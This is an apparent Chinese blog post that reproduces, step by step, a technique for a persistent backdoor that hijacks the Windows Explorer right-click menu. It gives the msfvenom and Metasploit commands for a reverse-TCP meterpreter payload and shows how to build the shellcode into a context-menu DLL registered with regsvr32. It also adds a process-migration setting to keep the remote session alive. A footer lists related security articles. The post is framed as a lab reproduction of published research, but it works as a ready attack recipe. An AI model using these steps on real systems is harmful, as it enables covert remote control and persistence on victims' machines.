劫持资源管理器实现持久性后门

简介: 劫持资源管理器实现持久性后门

0x01 前言

最近看到一篇有关《劫持Explorer.exe实现持久性》的文章,只要用户右键单击文件资源管理器中的文件或文件夹就会触发,简单记录下本地复现过程!


0x02 复现过程

CobaltStrike或Metasploit生成一个C格式shellcode,将shellcode中的"都替换为空,再用\r\n将其放在一行,配置好相关参数执行监听。

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.120 LPORT=443 EXITFUNC=thread -f c
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 192.168.1.120
    set lport 443
    exploit

    VS打开该项目,在FileContextMenuExt.cpp第13行处插入我们处理好的shellcode,直接编译得到一个ContextMenuHijack.dll。


    项目地址:

      https://github.com/RistBS/ContextMenuHijack

      接着我们通过执行以下命令用regsvr32注册下这个dll文件,如果想卸载掉只需加个/u参数即可。


      注册:

        regsvr32 ContextMenuHijack.dll

        卸载:

          regsvr32 /u ContextMenuHijack.dll

          这时只要我们右键文件或文件夹就会触发上线,但这种方式极易造成Explorer.exe资源管理器奔溃,导致会话掉线,建议加个自动迁移进程参数。

            set AutoRunScript migrate -f

            0x03 编译问题

            我的VS版本2017,但这个项目是2022编译的,所以编译时可能由于VS版本问题而出现下图报错:错误 MSB8020 无法找到 v143 的生成工具(平台工具集 =“v143”)。若要使用 v143 生成工具进行生成,请安装 v143 生成工具。或者,可以升级到当前 Visual Studio 工具,方式是通过选择“项目”菜单或右键单击该解决方案,然后选择“重定解决方案目标”


            解决方法:

              选中项目 -> 右键属性 -> 将平台工具集选为VS2017(V141);
              选中工程 -> 重定解决方案目标 -> 选择当前Windows SDK版本;
              打开项目根目录下.vcxproj后缀文件,将v143全替换为v141,保存;
              切换回Visual Studio,检测到文件修改,我们选择“全部重新加载”;
              再次选中工程 -> 重新生成解决方案 -> 已经编译成功,完美解决该问题。


              参考链接:

              https://pentestlab.blog/2023/03/13/persistence-context-menu/
              https://ristbs.github.io/2023/02/15/hijack-explorer-context-menu-for-persistence-and-fun.html
              相关文章
              |
              29天前
              |
              安全 网络安全
              【恶意代码系列】四、隔离、删除以及恢复
              【恶意代码系列】四、隔离、删除以及恢复
              |
              供应链 安全 网络安全
              .360勒索病毒的加密数据怎么处理?|.360勒索病毒数据解密恢复
              ​ .360勒索病毒是一种恶意软件,它对用户的计算机文件进行加密,并要求支付赎金才能解密恢复数据。这种勒索病毒以其广泛传播和严重破坏性而闻名,给个人用户和企业带来了巨大的困扰和损失。
              132 0
              .360勒索病毒的加密数据怎么处理?|.360勒索病毒数据解密恢复
              |
              存储 安全 NoSQL
              【91数据恢复】感染了.halo勒索病毒怎么办?如何确保数据完整恢复?
                      在2023年初,一种新的勒索病毒开始在网络上传播,它的名字叫做.halo勒索病毒。这种病毒属于BeijngCrypt勒索病毒家族,它会通过远程桌面爆破、数据库端口攻击、垃圾邮件等方式入侵目标设备,然后加密设备上的文件,并在文件名后添加.halo扩展名。如果您不幸感染了这种病毒,您应该如何应对呢?数据还有没有可能恢复呢?本文将为您介绍一些相关的知识和建议。
              【91数据恢复】感染了.halo勒索病毒怎么办?如何确保数据完整恢复?
              |
              存储 安全 算法
              .360勒索病毒和.halo勒索病毒数据怎么处理|数据解密恢复
              .360勒索病毒和.halo勒索病毒都属于BeijingCrypt勒索病毒家族旗下的病毒,两者加密特征一致,加密勒索信内容一致,仅仅为加密后缀名称不相同。 勒索病毒如今成为网络安全的头号威胁!您的宝贵数据是否正面临被绑架的风险?不要慌张!91数据恢复将在本文深入解析.360勒索病毒和.halo勒索病毒的工作原理。让我们一起揭开这场数据解密之谜,有效保护你的数据免遭黑客绑架!
              |
              SQL Windows
              1433映像劫持后门提权
              首先: 1.服务器开启了终端端口(终端端口未必是3389,可以自行查询) 2.服务器的粘滞键功能无损,只要可以正常弹出即可 3.
              916 0
              |
              安全 搜索推荐 JavaScript
              网站被入侵快照被劫持该如何解决
              网站安全是重中之重对此我们Sinesafe对于网站被挂马被黑的防范意识,如何判断网站被黑,网站被挂马,网站快照被劫持,网站快照被篡改,导致被百度网址安全中心提醒您:该页面可能存在违法信息。
              149 0
              网站被入侵快照被劫持该如何解决
              |
              安全 JavaScript
              怎么防止网站不被挂木马篡改
              因为说这些脚本文件它都是一些静态的文件连接,那么既然是静态的,那就是说我们存放这个脚本的这个服务器,它只能放静态文件,不支持任何的脚本语言,那它也就不可能存在任何的后门,也不可能被篡改挂木马,上传脚本后门文件等等这些问题,所以说只要替换成静态的连接文件,那么说你网站从此以后没人能修改这些静态的脚本文件,他如果想给网站挂木马的话,那只有其他的办法,那就是说给你网页插入一个新的脚本文件,那么他给你插一个新的脚本文件的话,我想普通的站长一眼就能看到,所以不需要到处去找,直接就可以把它移除掉,或者是我们可以配合一些网站的检测一些程序,检测你网站是否存在未知的文件,配合这样一些东西去方便快速的锁定,这个
              261 0
              怎么防止网站不被挂木马篡改
              |
              监控 安全 关系型数据库
              MYSQL数据库被入侵篡改了数据 该如何解决?
              接触mysql数据库已经很多年了,经常碰到mysql数据库被攻击,导致用户的数据库         丢失,数据库被删除,花钱找人恢复出来少则几万,多则几十万的花费,在防止数         据库被攻击的同时,也要做好数据库的实时备份,如果使用了阿里云的服务器,可         以使用阿里云的快照备份,可以及时的备份一份数据在自己手里。
              3375 0